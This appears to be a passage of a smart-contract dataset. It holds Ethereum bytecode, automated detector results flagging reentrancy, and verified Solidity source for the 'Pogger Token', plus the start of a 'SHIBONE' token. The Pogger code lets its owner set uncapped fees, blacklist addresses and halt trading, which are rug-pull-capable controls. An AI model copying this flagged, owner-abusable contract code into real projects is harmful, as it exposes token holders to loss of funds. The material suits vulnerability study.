207375627472616374696f6e206f766572666c6f770000815250610fbe565b6000806114dc83856119e7565b9050838110156110af5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161043f565b6000611538611266565b905060006115468383611641565b3060009081526002602052604090205490915061156390826114cf565b30600090815260026020526040902055505050565b600754611585908361148d565b60075560085461159590826114cf565b6008555050565b60008080806115b660646115b08989611641565b90611289565b905060006115c960646115b08a89611641565b905060006115e1826115db8b8661148d565b9061148d565b9992985090965090945050505050565b60008080806116008886611641565b9050600061160e8887611641565b9050600061161c8888611641565b9050600061162e826115db868661148d565b939b939a50919850919650505050505050565b60008261165057506000610477565b600061165c8385611a1f565b90508261166985836119ff565b146110af5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161043f565b80356116cb81611a9c565b919050565b6000602082840312156116e1578081fd5b81356110af81611a9c565b6000602082840312156116fd578081fd5b81516110af81611a9c565b6000806040838503121561171a578081fd5b823561172581611a9c565b9150602083013561173581611a9c565b809150509250929050565b600080600060608486031215611754578081fd5b833561175f81611a9c565b9250602084013561176f81611a9c565b929592945050506040919091013590565b60008060408385031215611792578182fd5b823561179d81611a9c565b946020939093013593505050565b600060208083850312156117bd578182fd5b823567ffffffffffffffff808211156117d4578384fd5b818501915085601f8301126117e7578384fd5b8135818111156117f9576117f9611a86565b8060051b604051601f19603f8301168101818110858211171561181e5761181e611a86565b604052828152858101935084860182860187018a101561183c578788fd5b8795505b8386101561186557611851816116c0565b855260019590950194938601938601611840565b5098975050505050505050565b600060208284031215611883578081fd5b81356110af81611ab1565b60006020828403121561189f578081fd5b81516110af81611ab1565b6000602082840312156118bb578081fd5b5035919050565b6000806000606084860312156118d6578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561191b578581018301518582016040015282016118ff565b8181111561192c5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119c65784516001600160a01b0316835293830193918301916001016119a1565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119fa576119fa611a70565b500190565b600082611a1a57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a3957611a39611a70565b500290565b600082821015611a5057611a50611a70565b500390565b6000600019821415611a6957611a69611a70565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104bc57600080fd5b80151581146104bc57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220654b6c6f5f889499bc82339571fdcb2fc0fbd0abdf0014ad4f1cbbc597d1525564736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,267
0x5e02593cce9aa8675dac263dab76ed7e94a3a831
/** *Submitted for verification at Etherscan.io on 2022-03-27 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract PoggerToken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Pogger Token"; string private constant _symbol = "POGGER"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 12; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x2dBCE0199Df3EC26f18cBff618Eba8A15e3F4378); address payable private _marketingAddress = payable(0x2dBCE0199Df3EC26f18cBff618Eba8A15e3F4378); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; uint256 public _maxWalletSize = 25000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610559578063dd62ed3e14610579578063ea1644d5146105bf578063f2fde38b146105df57600080fd5b8063a2a957bb146104d4578063a9059cbb146104f4578063bfd7928414610514578063c3c8cd801461054457600080fd5b80638f70ccf7116100d15780638f70ccf71461044f5780638f9a55c01461046f57806395d89b411461048557806398a5c315146104b457600080fd5b80637d1db4a5146103ee5780637f2feddc146104045780638da5cb5b1461043157600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038457806370a0823114610399578063715018a6146103b957806374010ece146103ce57600080fd5b8063313ce5671461030857806349bd5a5e146103245780636b999053146103445780636d8aa8f81461036457600080fd5b80631694505e116101ab5780631694505e1461027557806318160ddd146102ad57806323b872dd146102d25780632fd689e3146102f257600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024557600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611963565b6105ff565b005b34801561020a57600080fd5b5060408051808201909152600c81526b2837b3b3b2b9102a37b5b2b760a11b60208201525b60405161023c9190611a28565b60405180910390f35b34801561025157600080fd5b50610265610260366004611a7d565b61069e565b604051901515815260200161023c565b34801561028157600080fd5b50601454610295906001600160a01b031681565b6040516001600160a01b03909116815260200161023c565b3480156102b957600080fd5b50670de0b6b3a76400005b60405190815260200161023c565b3480156102de57600080fd5b506102656102ed366004611aa9565b6106b5565b3480156102fe57600080fd5b506102c460185481565b34801561031457600080fd5b506040516009815260200161023c565b34801561033057600080fd5b50601554610295906001600160a01b031681565b34801561035057600080fd5b506101fc61035f366004611aea565b61071e565b34801561037057600080fd5b506101fc61037f366004611b17565b610769565b34801561039057600080fd5b506101fc6107b1565b3480156103a557600080fd5b506102c46103b4366004611aea565b6107fc565b3480156103c557600080fd5b506101fc61081e565b3480156103da57600080fd5b506101fc6103e9366004611b32565b610892565b3480156103fa57600080fd5b506102c460165481565b34801561041057600080fd5b506102c461041f366004611aea565b60116020526000908152604090205481565b34801561043d57600080fd5b506000546001600160a01b0316610295565b34801561045b57600080fd5b506101fc61046a366004611b17565b6108c1565b34801561047b57600080fd5b506102c460175481565b34801561049157600080fd5b506040805180820190915260068152652827a3a3a2a960d11b602082015261022f565b3480156104c057600080fd5b506101fc6104cf366004611b32565b610909565b3480156104e057600080fd5b506101fc6104ef366004611b4b565b610938565b34801561050057600080fd5b5061026561050f366004611a7d565b610976565b34801561052057600080fd5b5061026561052f366004611aea565b60106020526000908152604090205460ff1681565b34801561055057600080fd5b506101fc610983565b34801561056557600080fd5b506101fc610574366004611b7d565b6109d7565b34801561058557600080fd5b506102c4610594366004611c01565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cb57600080fd5b506101fc6105da366004611b32565b610a78565b3480156105eb57600080fd5b506101fc6105fa366004611aea565b610aa7565b6000546001600160a01b031633146106325760405162461bcd60e51b815260040161062990611c3a565b60405180910390fd5b60005b815181101561069a5760016010600084848151811061065657610656611c6f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069281611c9b565b915050610635565b5050565b60006106ab338484610b91565b5060015b92915050565b60006106c2848484610cb5565b610714843361070f85604051806060016040528060288152602001611db5602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f1565b610b91565b5060019392505050565b6000546001600160a01b031633146107485760405162461bcd60e51b815260040161062990611c3a565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107935760405162461bcd60e51b815260040161062990611c3a565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e657506013546001600160a01b0316336001600160a01b0316145b6107ef57600080fd5b476107f98161122b565b50565b6001600160a01b0381166000908152600260205260408120546106af90611265565b6000546001600160a01b031633146108485760405162461bcd60e51b815260040161062990611c3a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bc5760405162461bcd60e51b815260040161062990611c3a565b601655565b6000546001600160a01b031633146108eb5760405162461bcd60e51b815260040161062990611c3a565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109335760405162461bcd60e51b815260040161062990611c3a565b601855565b6000546001600160a01b031633146109625760405162461bcd60e51b815260040161062990611c3a565b600893909355600a91909155600955600b55565b60006106ab338484610cb5565b6012546001600160a01b0316336001600160a01b031614806109b857506013546001600160a01b0316336001600160a01b0316145b6109c157600080fd5b60006109cc306107fc565b90506107f9816112e9565b6000546001600160a01b03163314610a015760405162461bcd60e51b815260040161062990611c3a565b60005b82811015610a72578160056000868685818110610a2357610a23611c6f565b9050602002016020810190610a389190611aea565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6a81611c9b565b915050610a04565b50505050565b6000546001600160a01b03163314610aa25760405162461bcd60e51b815260040161062990611c3a565b601755565b6000546001600160a01b03163314610ad15760405162461bcd60e51b815260040161062990611c3a565b6001600160a01b038116610b365760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610629565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610629565b6001600160a01b038216610c545760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610629565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d195760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610629565b6001600160a01b038216610d7b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610629565b60008111610ddd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610629565b6000546001600160a01b03848116911614801590610e0957506000546001600160a01b03838116911614155b156110ea57601554600160a01b900460ff16610ea2576000546001600160a01b03848116911614610ea25760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610629565b601654811115610ef45760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610629565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3657506001600160a01b03821660009081526010602052604090205460ff16155b610f8e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610629565b6015546001600160a01b038381169116146110135760175481610fb0846107fc565b610fba9190611cb6565b106110135760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610629565b600061101e306107fc565b6018546016549192508210159082106110375760165491505b80801561104e5750601554600160a81b900460ff16155b801561106857506015546001600160a01b03868116911614155b801561107d5750601554600160b01b900460ff165b80156110a257506001600160a01b03851660009081526005602052604090205460ff16155b80156110c757506001600160a01b03841660009081526005602052604090205460ff16155b156110e7576110d5826112e9565b4780156110e5576110e54761122b565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112c57506001600160a01b03831660009081526005602052604090205460ff165b8061115e57506015546001600160a01b0385811691161480159061115e57506015546001600160a01b03848116911614155b1561116b575060006111e5565b6015546001600160a01b03858116911614801561119657506014546001600160a01b03848116911614155b156111a857600854600c55600954600d555b6015546001600160a01b0384811691161480156111d357506014546001600160a01b03858116911614155b156111e557600a54600c55600b54600d555b610a7284848484611472565b600081848411156112155760405162461bcd60e51b81526004016106299190611a28565b5060006112228486611cce565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069a573d6000803e3d6000fd5b60006006548211156112cc5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610629565b60006112d66114a0565b90506112e283826114c3565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133157611331611c6f565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138557600080fd5b505afa158015611399573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bd9190611ce5565b816001815181106113d0576113d0611c6f565b6001600160a01b0392831660209182029290920101526014546113f69130911684610b91565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142f908590600090869030904290600401611d02565b600060405180830381600087803b15801561144957600080fd5b505af115801561145d573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147f5761147f611505565b61148a848484611533565b80610a7257610a72600e54600c55600f54600d55565b60008060006114ad61162a565b90925090506114bc82826114c3565b9250505090565b60006112e283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166a565b600c541580156115155750600d54155b1561151c57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154587611698565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157790876116f5565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a69086611737565b6001600160a01b0389166000908152600260205260409020556115c881611796565b6115d284836117e0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161791815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164582826114c3565b82101561166157505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361168b5760405162461bcd60e51b81526004016106299190611a28565b5060006112228486611d73565b60008060008060008060008060006116b58a600c54600d54611804565b92509250925060006116c56114a0565b905060008060006116d88e878787611859565b919e509c509a509598509396509194505050505091939550919395565b60006112e283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f1565b6000806117448385611cb6565b9050838110156112e25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610629565b60006117a06114a0565b905060006117ae83836118a9565b306000908152600260205260409020549091506117cb9082611737565b30600090815260026020526040902055505050565b6006546117ed90836116f5565b6006556007546117fd9082611737565b6007555050565b600080808061181e606461181889896118a9565b906114c3565b9050600061183160646118188a896118a9565b90506000611849826118438b866116f5565b906116f5565b9992985090965090945050505050565b600080808061186888866118a9565b9050600061187688876118a9565b9050600061188488886118a9565b905060006118968261184386866116f5565b939b939a50919850919650505050505050565b6000826118b8575060006106af565b60006118c48385611d95565b9050826118d18583611d73565b146112e25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610629565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f957600080fd5b803561195e8161193e565b919050565b6000602080838503121561197657600080fd5b823567ffffffffffffffff8082111561198e57600080fd5b818501915085601f8301126119a257600080fd5b8135818111156119b4576119b4611928565b8060051b604051601f19603f830116810181811085821117156119d9576119d9611928565b6040529182528482019250838101850191888311156119f757600080fd5b938501935b82851015611a1c57611a0d85611953565b845293850193928501926119fc565b98975050505050505050565b600060208083528351808285015260005b81811015611a5557858101830151858201604001528201611a39565b81811115611a67576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9057600080fd5b8235611a9b8161193e565b946020939093013593505050565b600080600060608486031215611abe57600080fd5b8335611ac98161193e565b92506020840135611ad98161193e565b929592945050506040919091013590565b600060208284031215611afc57600080fd5b81356112e28161193e565b8035801515811461195e57600080fd5b600060208284031215611b2957600080fd5b6112e282611b07565b600060208284031215611b4457600080fd5b5035919050565b60008060008060808587031215611b6157600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9257600080fd5b833567ffffffffffffffff80821115611baa57600080fd5b818601915086601f830112611bbe57600080fd5b813581811115611bcd57600080fd5b8760208260051b8501011115611be257600080fd5b602092830195509350611bf89186019050611b07565b90509250925092565b60008060408385031215611c1457600080fd5b8235611c1f8161193e565b91506020830135611c2f8161193e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611caf57611caf611c85565b5060010190565b60008219821115611cc957611cc9611c85565b500190565b600082821015611ce057611ce0611c85565b500390565b600060208284031215611cf757600080fd5b81516112e28161193e565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d525784516001600160a01b031683529383019391830191600101611d2d565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9057634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611daf57611daf611c85565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ebf5f130abfcd05c59de32bc67abf3a8777c9f817900f89dbf23d65c79a8eac964736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
10,268
0xCd8c384831a2ee19056e72adEB7726196D228d35
/* https://t.me/https://t.me/shibone We have a dynamic sell limit based on price impact and increasing sell cooldowns and redistribution taxes on consecutive sells, as a result; $SHIBONE is designed to reward holders and discourage dumping. 1. Bot and whale manipulation prevention: Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool. 2. No Team & Marketing wallet. 100% of the tokens will go directly to Uniswap for trading. 3. No presale or team wallets allocated with tokens that can dump on the community. Token Information: 1. 1,000,000,000,000 Total Supply, but we're burning 10% of this imemdiately to create a super deflationary mechanism within the tokenomics! 3. Developer provides LP and it's locked with Team.Finance 4. We have made the fairest possible launch for everyone and pre-announced, so there is no early secret buyers! 5. 0,5% transaction limit on launch - You can only buy 5000000000 $SHIBONE until it's lifted 6. Buy limit lifted to 1% of the supply 5 minutes after launch, then the ownership of the token is immediately renounced 7. Sells limited to 3% of the Liquidity Pool, <3% price impact - Anti dump mechanism 8. Sell cooldown increases on consecutive sells, 3 sells within a 4 hour period are allowed 9. 2% redistribution to holders on all buys 10. 6% redistribution to holders on the first sell, increases 2x, 3x on consecutive sells 11. This redistribution mechanism works as expected above and benefits the holders much more than sellers! SPDX-License-Identifier: Unlicensed */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 